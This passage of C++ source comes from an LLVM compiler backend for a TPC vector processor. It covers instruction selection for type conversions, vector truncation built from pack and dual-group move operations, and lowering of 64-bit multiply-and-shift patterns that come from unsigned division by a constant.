CommonMultiplicity = std::min(SrcMultiplicity, DestMultiplicity);\n unsigned SrcDataWidth = SrcMultiplicity / CommonMultiplicity;\n unsigned DestDataWidth = DestMultiplicity / CommonMultiplicity;\n assert(SrcMultiplicity % CommonMultiplicity == 0);\n assert(DestMultiplicity % CommonMultiplicity == 0);\n\n unsigned OpCode = 0;\n switch (SrcDataWidth) {\n default:\n llvm_unreachable(\"Unsupported multiplicity\");\n case 1: //------ Source is in VRF\n switch (DestDataWidth) {\n default:\n llvm_unreachable(\"Unsupported multiplicity\");\n case 1:\n OpCode = VectorPredicate ? TPC::CONVERTvvm : TPC::CONVERTvvp;\n break;\n case 2:\n OpCode = VectorPredicate ? TPC::CONVERTdvm : TPC::CONVERTdvp;\n break;\n }\n break;\n case 2: //------ Source is in DRF\n switch (DestDataWidth) {\n default:\n llvm_unreachable(\"Unsupported multiplicity\");\n case 1:\n OpCode = VectorPredicate ? TPC::CONVERTvdm : TPC::CONVERTvdp;\n break;\n }\n break;\n }\n return OpCode;\n}\n\nSDValue TPCTargetLowering::lowerTPC_CONVERT(SDValue Op, SelectionDAG &DAG) const {\n SDLoc DL(Op);\n\n // Get and check arguments.\n\n SDValue Source = Op.getOperand(1);\n SDValue DataType = Op.getOperand(2);\n SDValue Switches = Op.getOperand(3);\n SDValue Income = Op.getOperand(4);\n SDValue Predicate = Op.getOperand(5);\n SDValue Polarity = Op.getOperand(6);\n EVT SrcVT = Source.getValueType();\n EVT DestVT = Op.getValueType();\n bool IsVectorPredicate = (Predicate.getValueType() == MVT::v256i1);\n\n assert(cast<ConstantSDNode>(Op.getOperand(0))->getZExtValue() == Intrinsic::tpc_convert);\n assert(SrcVT.isVector() == DestVT.isVector());\n assert(Polarity.getValueType() == MVT::i1);\n assert(isa<ConstantSDNode>(DataType));\n assert(isa<ConstantSDNode>(Switches));\n assert(Income.getValueType() == DestVT);\n assert(IsVectorPredicate || Predicate.getValueType() == MVT::i1);\n assert(isa<ConstantSDNode>(Polarity));\n\n // Scalar data is not handled here.\n if (!SrcVT.isVector())\n return SDValue();\n\n unsigned SwitchVal = cast<ConstantSDNode>(Switches)->getZExtValue();\n unsigned DataTypeVal = cast<ConstantSDNode>(DataType)->getZExtValue();\n bool PolarityVal = cast<ConstantSDNode>(Polarity)->getSExtValue() != 0;\n\n // Derermine unsigned types.\n\n bool SrcIsUnsigned;\n switch (DataTypeVal) {\n case TPCII::UINT32:\n case TPCII::UINT16:\n case TPCII::UINT8:\n case TPCII::UINT4:\n SrcIsUnsigned = true;\n break;\n default:\n SrcIsUnsigned = false;\n break;\n }\n\n bool DestIsUnsigned;\n switch (SwitchVal & TPCII::SW_TO_TYPE) {\n case TPCII::SW_TO_UINT32:\n case TPCII::SW_TO_UINT16:\n case TPCII::SW_TO_UINT8:\n DestIsUnsigned = true;\n break;\n default:\n DestIsUnsigned = false;\n break;\n }\n\n // Get and check source and destination type properties.\n\n EVT SrcEltVT = SrcVT.getVectorElementType();\n EVT DestEltVT = DestVT.getVectorElementType();\n unsigned SrcNumElements = SrcVT.getVectorNumElements();\n unsigned DestNumElements = DestVT.getVectorNumElements();\n bool AllLanes = (SrcNumElements == DestNumElements);\n bool SameSize = (SrcVT.getSizeInBits() == DestVT.getSizeInBits());\n\n unsigned SrcMultiplicity = getMultiplicity(SrcVT);\n unsigned DestMultiplicity = getMultiplicity(DestVT);\n unsigned CommonMultiplicity = std::min(SrcMultiplicity, DestMultiplicity);\n assert(SrcMultiplicity % CommonMultiplicity == 0);\n assert(DestMultiplicity % CommonMultiplicity == 0);\n\n // Check consistency of DataType and Switches.\n\n if (SrcEltVT == MVT::f32) {\n assert(DataTypeVal == T_FP32);\n } else if (SrcEltVT == MVT::bf16) {\n assert(DataTypeVal == T_BF16);\n } else if (SrcEltVT == MVT::f16) {\n assert(DataTypeVal == T_FP16);\n } else if (SrcEltVT == MVT::f8_143) {\n assert(DataTypeVal == T_FP8_143);\n } else if (SrcEltVT == MVT::f8_152) {\n assert(DataTypeVal == T_FP8_152);\n } else if (SrcEltVT == MVT::i32) {\n assert(DataTypeVal == T_INT32 || DataTypeVal == T_UINT32);\n } else if (SrcEltVT == MVT::i16) {\n assert(DataTypeVal == T_INT16 || DataTypeVal == T_UINT16);\n } else if (SrcEltVT == MVT::i8) {\n assert(DataTypeVal == T_INT8 || DataTypeVal == T_UINT8 ||\n DataTypeVal == T_INT4 || DataTypeVal == T_UINT4);\n }\n\n unsigned DestTypeSwitch = SwitchVal & TPCII::SW_TO_TYPE;\n assert(DestEltVT != MVT::f32 || DestTypeSwitch == TPCII::SW_TO_FP32);\n assert(DestEltVT != MVT::bf16 || DestTypeSwitch == TPCII::SW_TO_BF16);\n assert(DestEltVT != MVT::f16 || DestTypeSwitch == TPCII::SW_TO_FP16);\n assert(DestEltVT != MVT::f8_143 || DestTypeSwitch == TPCII::SW_TO_FP8_143);\n assert(DestEltVT != MVT::f8_152 || DestTypeSwitch == TPCII::SW_TO_FP8_152);\n assert(DestEltVT != MVT::i32 ||\n (DestTypeSwitch == TPCII::SW_TO_INT32 || DestTypeSwitch == TPCII::SW_TO_UINT32));\n assert(DestEltVT != MVT::i16 ||\n (DestTypeSwitch == TPCII::SW_TO_INT16 || DestTypeSwitch == TPCII::SW_TO_UINT16));\n assert(DestEltVT != MVT::i8 ||\n (DestTypeSwitch == TPCII::SW_TO_INT8 || DestTypeSwitch == TPCII::SW_TO_UINT8));\n\n unsigned T_Src = DataTypeVal;\n unsigned T_Dest = findDestTypeInSwitches(DestTypeSwitch);\n\n // Get conversion parts from database.\n auto ItemPtr = ConversionDB.find({T_Src, T_Dest});\n if (ItemPtr == ConversionDB.end())\n return SDValue();\n const Conversion &Cvt = ItemPtr->getSecond();\n const CvtActions *Choice = nullptr;\n for (const auto &Action : Cvt.Actions) {\n if (hasFeature(*Subtarget, Action.Requires)) {\n Choice = &Action;\n break;\n }\n }\n if (!Choice)\n return SDValue();\n\n unsigned OpCode = getConvertOpCode(*Choice, DestVT, SrcVT, IsVectorPredicate);\n if (OpCode == 0)\n return SDValue();\n\n SmallVector<MachineSDNode *, 4> CvtNodes;\n for (const auto &Part : Choice->Steps) {\n unsigned DT = Part.DataType;\n if (DT == T_UNDEF)\n DT = DataTypeVal;\n\n unsigned SW = Part.Switches;\n if (SW == 0)\n SW = DestTypeSwitch;\n if (AllLanes) {\n SW &= ~TPCII::SW_NUM_LANES;\n SW |= TPCII::SW_ALL_LANES;\n }\n\n SmallVector<SDValue, 8> Operands;\n Operands.push_back(Source);\n Operands.push_back(DAG.getTargetConstant(DataTypeVal, DL, MVT::i8));\n Operands.push_back(DAG.getTargetConstant(SwitchVal, DL, MVT::i32));\n Operands.push_back(Income);\n Operands.push_back(Predicate);\n Operands.push_back(DAG.getTargetConstant(PolarityVal, DL, MVT::i1));\n MachineSDNode *Node = DAG.getMachineNode(OpCode, DL, DestVT, Operands);\n CvtNodes.push_back(Node);\n }\n\n if (CvtNodes.empty())\n return SDValue();\n if (CvtNodes.size() == 1)\n return SDValue(CvtNodes.front(), 0);\n return SDValue();\n}\n\nSDValue TPCTargetLowering::truncate_32_to_16_goya(SelectionDAG &DAG,\n SDValue Src0, SDValue Src1,\n SDLoc &DL, EVT ResultVT,\n uint64_t dataType) const {\n // y = v_i16_pack_v(x0, y, e_group_0, e_every_second_element);\n SmallVector<SDValue, 8> Ops11(6);\n Ops11[0] = Src0; // Source.\n Ops11[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops11[2] = DAG.getTargetConstant(0, DL, MVT::i32); // Switch.\n Ops11[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops11[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops11[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node11 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops11);\n SDValue val11 = SDValue(Node11, 0);\n\n // y = v_i16_pack_v(x0, y, e_group_1, e_every_second_element);\n SmallVector<SDValue, 8> Ops12(6);\n Ops12[0] = Src0; // Source.\n Ops12[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops12[2] =\n DAG.getTargetConstant(TPCII::SW_GROUP_SOURCE, DL, MVT::i32); // Switch.\n Ops12[3] = val11; // Income.\n Ops12[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops12[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node12 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops12);\n SDValue val12 = SDValue(Node12, 0);\n\n // y = v_i16_mov_dual_group_v(y, 0xFFFFFFFF, y, 1, 0, 0, 1);\n SmallVector<SDValue, 8> Ops13(6);\n Ops13[0] = val12; // Source.\n Ops13[1] = DAG.getTargetConstant(dataType, DL, MVT::i32); // DataType.\n Ops13[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 0 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops13[3] = val12; // Income.\n Ops13[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops13[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n\n MachineSDNode *Node13 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops13);\n SDValue val13 = SDValue(Node13, 0);\n\n // y = v_i16_mov_dual_group_v(y, 0xFFFFFFFF, y, 2, 1, 1, 0);\n SmallVector<SDValue, 8> Ops14(6);\n Ops14[0] = val13; // Source.\n Ops14[1] = DAG.getTargetConstant(dataType, DL, MVT::i32); // DataType.\n Ops14[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops14[3] = val13; // Income.\n Ops14[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops14[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node14 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops14);\n SDValue val14 = SDValue(Node14, 0);\n\n // y = v_i16_mov_dual_group_v(y, 0xFFFFFFFF, y, 3, 1, 0, 1);\n SmallVector<SDValue, 8> Ops15(6);\n Ops15[0] = val14; // Source.\n Ops15[1] = DAG.getTargetConstant(dataType, DL, MVT::i32); // DataType.\n Ops15[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops15[3] = val14; // Income.\n Ops15[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops15[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node15 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops15);\n SDValue val15 = SDValue(Node15, 0);\n\n // t = v_i16_pack_v(x1, t, e_group_0, e_every_second_element);\n SmallVector<SDValue, 8> Ops21(6);\n Ops21[0] = Src1; // Source.\n Ops21[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops21[2] = DAG.getTargetConstant(0, DL, MVT::i32); // Switch.\n Ops21[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops21[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops21[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node21 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops21);\n SDValue val21 = SDValue(Node21, 0);\n\n // t = v_i16_pack_v(x1, t, e_group_1, e_every_second_element);\n SmallVector<SDValue, 8> Ops22(6);\n Ops22[0] = Src1; // Source.\n Ops22[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops22[2] =\n DAG.getTargetConstant(TPCII::SW_GROUP_SOURCE, DL, MVT::i32); // Switch.\n Ops22[3] = val21; // Income.\n Ops22[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops22[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node22 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops22);\n SDValue val22 = SDValue(Node22, 0);\n\n // // 0..15, 16..31, 32..47, 48..63, 64..79\n // y = v_i16_mov_dual_group_v(t, 0xFFFFFFFF, y, 0, 2, 1, 0);\n SmallVector<SDValue, 8> Ops23(6);\n Ops23[0] = val22; // Source.\n Ops23[1] = DAG.getTargetConstant(dataType, DL, MVT::i32); // DataType.\n Ops23[2] = DAG.getTargetConstant((0 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops23[3] = val15; // Income.\n Ops23[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops23[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node23 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops23);\n SDValue val23 = SDValue(Node23, 0);\n\n // // 0..15, 16..31, 32..47, 48..63, 64..79, 80..95\n // y = v_i16_mov_dual_group_v(t, 0xFFFFFFFF, y, 1, 2, 0, 1);\n SmallVector<SDValue, 8> Ops24(6);\n Ops24[0] = val22; // Source.\n Ops24[1] = DAG.getTargetConstant(dataType, DL, MVT::i32); // DataType.\n Ops24[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops24[3] = val23; // Income.\n Ops24[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops24[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node24 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops24);\n SDValue val24 = SDValue(Node24, 0);\n\n // // 0..15, 16..31, 32..47, 48..63, 64..79, 80..95, 96..111\n // y = v_i16_mov_dual_group_v(t, 0xFFFFFFFF, y, 2, 3, 1, 0);\n SmallVector<SDValue, 8> Ops25(6);\n Ops25[0] = val22; // Source.\n Ops25[1] = DAG.getTargetConstant(dataType, DL, MVT::i32); // DataType.\n Ops25[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops25[3] = val24; // Income.\n Ops25[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops25[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node25 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops25);\n SDValue val25 = SDValue(Node25, 0);\n\n // // 0..15, 16..31, 32..47, 48..63, 64..79, 80..95, 96..111, 112..127\n // y = v_i16_mov_dual_group_v(t, 0xFFFFFFFF, y, 3, 3, 0, 1);\n SmallVector<SDValue, 8> Ops26(6);\n Ops26[0] = val22; // Source.\n Ops26[1] = DAG.getTargetConstant(dataType, DL, MVT::i32); // DataType.\n Ops26[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops26[3] = val25; // Income.\n Ops26[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops26[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node26 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops26);\n SDValue val26 = SDValue(Node26, 0);\n\n return val26;\n}\n\nSDValue TPCTargetLowering::truncate_32_to_16(SelectionDAG &DAG, SDValue Src0,\n SDValue Src1, SDLoc &DL,\n EVT ResultVT,\n uint64_t dataType) const {\n // y = v_i16_pack_v(x0, y, e_group_0, e_every_second_element);\n SmallVector<SDValue, 8> Ops11(6);\n Ops11[0] = Src0; // Source.\n Ops11[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops11[2] = DAG.getTargetConstant(0, DL, MVT::i32); // Switch.\n Ops11[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops11[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops11[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node11 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops11);\n SDValue val11 = SDValue(Node11, 0);\n\n // y = v_i16_pack_v(x0, y, e_group_0, e_every_second_element);\n SmallVector<SDValue, 8> Ops12(6);\n Ops12[0] = Src0; // Source.\n Ops12[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops12[2] =\n DAG.getTargetConstant(TPCII::SW_GROUP_SOURCE, DL, MVT::i32); // Switch.\n Ops12[3] = val11; // Income.\n Ops12[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops12[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node12 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops12);\n SDValue val12 = SDValue(Node12, 0);\n\n // y = v_i16_mov_dual_group_all_v(y, 0xFFFFFFFF, y, 1, 2, 3, 0, 0b10, 0b01,\n // 0b00, 0b00);\n SmallVector<SDValue, 8> Ops13(7);\n Ops13[0] = val12; // Source.\n Ops13[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n Ops13[2] = DAG.getTargetConstant(\n (((1 << TPCII::SW_SDG0_SHIFT) | (2 << TPCII::SW_SDG1_SHIFT) |\n (3 << TPCII::SW_SDG2_SHIFT) | (0 << TPCII::SW_SDG3_SHIFT)) |\n (2 << TPCII::SW_WEG0_SHIFT) | (1 << TPCII::SW_WEG1_SHIFT) |\n (0 << TPCII::SW_WEG2_SHIFT) | (0 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops13[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops13[4] = val12; // Income.\n Ops13[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops13[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node13 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops13);\n SDValue val13 = SDValue(Node13, 0);\n\n // y = v_i16_mov_dual_group_v(y, 0xFFFFFFFF, y, 3, 1, 0, 1);\n SmallVector<SDValue, 8> Ops14(6);\n Ops14[0] = val13; // Source.\n Ops14[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n Ops14[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops14[3] = val13; // Income.\n Ops14[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops14[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node14 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops14);\n SDValue val14 = SDValue(Node14, 0);\n\n // t = v_i16_pack_v(x1, t, e_group_0, e_every_second_element);\n SmallVector<SDValue, 8> Ops21(6);\n Ops21[0] = Src1; // Source.\n Ops21[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops21[2] = DAG.getTargetConstant(0, DL, MVT::i32); // Switch.\n Ops21[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops21[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops21[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node21 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops21);\n SDValue val21 = SDValue(Node21, 0);\n\n // t = v_i16_pack_v(x1, t, e_group_1, e_every_second_element);\n SmallVector<SDValue, 8> Ops22(6);\n Ops22[0] = Src1; // Source.\n Ops22[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops22[2] =\n DAG.getTargetConstant(TPCII::SW_GROUP_SOURCE, DL, MVT::i32); // Switch.\n Ops22[3] = val21; // Income.\n Ops22[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops22[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node22 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops22);\n SDValue val22 = SDValue(Node22, 0);\n\n // y = v_i16_mov_dual_group_all_v(t, 0xFFFFFFFF, y, 1, 3, 0, 2, 0b00, 0b00,\n // 0b01, 0b01);\n SmallVector<SDValue, 8> Ops23(7);\n Ops23[0] = val22; // Source.\n Ops23[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n Ops23[2] = DAG.getTargetConstant(\n (((1 << TPCII::SW_SDG0_SHIFT) | (3 << TPCII::SW_SDG1_SHIFT) |\n (0 << TPCII::SW_SDG2_SHIFT) | (2 << TPCII::SW_SDG3_SHIFT)) |\n (0 << TPCII::SW_WEG0_SHIFT) | (0 << TPCII::SW_WEG1_SHIFT) |\n (1 << TPCII::SW_WEG2_SHIFT) | (1 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops23[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops23[4] = val14; // Income.\n Ops23[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops23[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node23 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops23);\n SDValue val23 = SDValue(Node23, 0);\n\n // y = v_i16_mov_dual_group_all_v(t, 0xFFFFFFFF, y, 0, 2, 1, 3, 0b00, 0b00,\n // 0b10, 0b10);\n SmallVector<SDValue, 8> Ops24(7);\n Ops24[0] = val22; // Source.\n Ops24[1] = DAG.getTargetConstant(-1, DL, MVT::i32); // DataType.\n Ops24[2] = DAG.getTargetConstant(\n (((0 << TPCII::SW_SDG0_SHIFT) | (2 << TPCII::SW_SDG1_SHIFT) |\n (1 << TPCII::SW_SDG2_SHIFT) | (3 << TPCII::SW_SDG3_SHIFT)) |\n (0 << TPCII::SW_WEG0_SHIFT) | (0 << TPCII::SW_WEG1_SHIFT) |\n (2 << TPCII::SW_WEG2_SHIFT) | (2 << TPCII::SW_WEG3_SHIFT) |\n (TPCII::SW_MDG_TYPE_ALL)),\n DL, MVT::i32); // Switch.\n Ops24[3] = DAG.getTargetConstant(0, DL, MVT::i8); // MovDGAllOp\n Ops24[4] = val23; // Income.\n Ops24[5] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops24[6] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node24 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUP_ALLp, DL, ResultVT, Ops24);\n SDValue val24 = SDValue(Node24, 0);\n\n return val24;\n}\n\nSDValue TPCTargetLowering::truncate_16_to_8(SelectionDAG &DAG, SDValue Src0,\n SDValue Src1, SDLoc &DL,\n EVT ResultVT,\n uint64_t dataType) const {\n return truncate_32_to_16_goya(DAG, Src0, Src1, DL, ResultVT, dataType);\n}\n\nSDValue TPCTargetLowering::lowerTRUNCATE_i32(SDValue Op,\n SelectionDAG &DAG) const {\n SDLoc DL(Op);\n\n // Make special handling of code like:\n //\n // t16: i64 = zero_extend t4\n // t18: i64 = mul t16, Constant : i64<3435973837>\n // t23 : i64 = srl t18, Constant : i32<34>\n // t24 : i32 = truncate t23\n //\n // which appears as a result of unsigned integer division by a constant.\n\n EVT ResTy = Op->getValueType(0);\n if (ResTy != MVT::i32)\n return SDValue();\n EVT ArgTy = Op.getOperand(0).getValueType();\n if (ArgTy != MVT::i64)\n return SDValue();\n\n SDValue ShiftOp = Op.getOperand(0);\n if (ShiftOp.getOpcode() != ISD::SRL)\n return SDValue();\n SDValue ShiftValOp = ShiftOp.getOperand(1);\n if (ShiftValOp.getOpcode() != ISD::Constant &&\n ShiftValOp.getOpcode() != ISD::TargetConstant)\n return SDValue();\n unsigned ShiftVal = cast<ConstantSDNode>(ShiftValOp)->getZExtValue();\n assert(ShiftVal < 64);\n\n SDValue MulOp = ShiftOp.getOperand(0);\n if (MulOp.getOpcode() != ISD::MUL)\n return SDValue();\n SDValue MulValOp = MulOp.getOperand(1);\n if (MulValOp.getOpcode() != ISD::Constant &&\n MulValOp.getOpcode() != ISD::TargetConstant)\n return SDValue();\n unsigned MulVal = cast<ConstantSDNode>(MulValOp)->getZExtValue();\n assert(MulVal < 0xFFFFFFFFULL);\n\n SDValue ExtOp = MulOp.getOperand(0);\n SDValue DividendOp;\n if (ExtOp.getOpcode() == ISD::ZERO_EXTEND) {\n DividendOp = ExtOp.getOperand(0);\n EVT DividendTy = DividendOp.getValueType();\n if (DividendTy != MVT::i32)\n return SDValue();\n } else if (ExtOp.getOpcode() == ISD::LOAD) {\n if (ExtOp.getValueType() == MVT::i64) {\n DividendOp = DAG.getNode(ISD::TRUNCATE, DL, MVT::i32, ExtOp);\n }\n } else\n return SDValue();\n\n // Instruction creation.\n SmallVector<SDValue, 8> Ops(7);\n\n // Most significant part of the product.\n Ops[0] = DividendOp;\n Ops[1] = DAG.getTargetConstant(MulVal, DL, MVT::i32);\n Ops[2] = DAG.getTargetConstant(TPCII::OpType::UINT32, DL, MVT::i8);\n Ops[3] = DAG.getTargetConstant(TPCII::SW_UPPER32, DL, MVT::i32);\n Ops[4] = DAG.getUNDEF(MVT::i32);\n Ops[5] = DAG.getRegister(TPC::SP0, MVT::i1);\n Ops[6] = DAG.getTargetConstant(0, DL, MVT::i1);\n MachineSDNode *MulMSNode = DAG.getMachineNode(TPC::MULsip, DL, MVT::i32, Ops);\n SDValue MulMS(MulMSNode, 0);\n\n if (ShiftVal == 32)\n return MulMS;\n\n if (ShiftVal > 32) {\n Ops[0] = MulMS;\n Ops[1] = DAG.getTargetConstant(ShiftVal - 32, DL, MVT::i32);\n Ops[2] = DAG.getTargetConstant(TPCII::OpType::UINT32, DL, MVT::i8);\n Ops[3] = DAG.getTargetConstant(0, DL, MVT::i32);\n Ops[4] = DAG.getUNDEF(MVT::i32);\n Ops[5] = DAG.getRegister(TPC::SP0, MVT::i1);\n Ops[6] = DAG.getTargetConstant(0, DL, MVT::i1);\n MachineSDNode *Node = DAG.getMachineNode(TPC::SHRsip, DL, MVT::i32, Ops);\n return SDValue(Node, 0);\n }\n\n // Least significant part of the product.\n SDValue MulLS;\n Ops[0] = DividendOp;\n Ops[1] = DAG.getTargetConstant(MulVal, DL, MVT::i32);\n Ops[2] = DAG.getTargetConstant(TPCII::OpType::UINT32, DL, MVT::i8);\n Ops[3] = DAG.getTargetConstant(0, DL, MVT::i32);\n Ops[4] = DAG.getUNDEF(MVT::i32);\n Ops[5] = DAG.getRegister(TPC::SP0, MVT::i1);\n Ops[6] = DAG.getTargetConstant(0, DL, MVT::i1);\n MachineSDNode *MulLSNode = DAG.getMachineNode(TPC::MULsip, DL, MVT::i32, Ops);\n MulLS = SDValue(MulLSNode, 0);\n\n // Shift of the most signficant part.\n Ops[0] = MulMS;\n Ops[1] = DAG.getTargetConstant(ShiftVal, DL, MVT::i32);\n Ops[2] = DAG.getTargetConstant(TPCII::OpType::UINT32, DL, MVT::i8);\n Ops[3] = DAG.getTargetConstant(0, DL, MVT::i32);\n Ops[4] = DAG.getUNDEF(MVT::i32);\n Ops[5] = DAG.getRegister(TPC::SP0, MVT::i1);\n Ops[6] = DAG.getTargetConstant(0, DL, MVT::i1);\n SDValue OpShiftMS(DAG.getMachineNode(TPC::SHLsip, DL, MVT::i32, Ops), 0);\n\n // Shift of the lest signficant part.\n Ops[0] = MulLS;\n Ops[1] = DAG.getTargetConstant(ShiftVal, DL, MVT::i32);\n Ops[2] = DAG.getTargetConstant(TPCII::OpType::UINT32, DL, MVT::i8);\n Ops[3] = DAG.getTargetConstant(0, DL, MVT::i32);\n Ops[4] = DAG.getUNDEF(MVT::i32);\n Ops[5] = DAG.getRegister(TPC::SP0, MVT::i1);\n Ops[6] = DAG.getTargetConstant(0, DL, MVT::i1);\n SDValue OpShiftLS(DAG.getMachineNode(TPC::SHRsip, DL, MVT::i32, Ops), 0);\n\n // Union of two shifted words.\n Ops[0] = OpShiftMS;\n Ops[1] = OpShiftLS;\n Ops[2] = DAG.getTargetConstant(TPCII::OpType::UINT32, DL, MVT::i8);\n Ops[3] = DAG.getTargetConstant(0, DL, MVT::i32);\n Ops[4] = DAG.getUNDEF(MVT::i32);\n Ops[5] = DAG.getRegister(TPC::SP0, MVT::i1);\n Ops[6] = DAG.getTargetConstant(0, DL, MVT::i1);\n 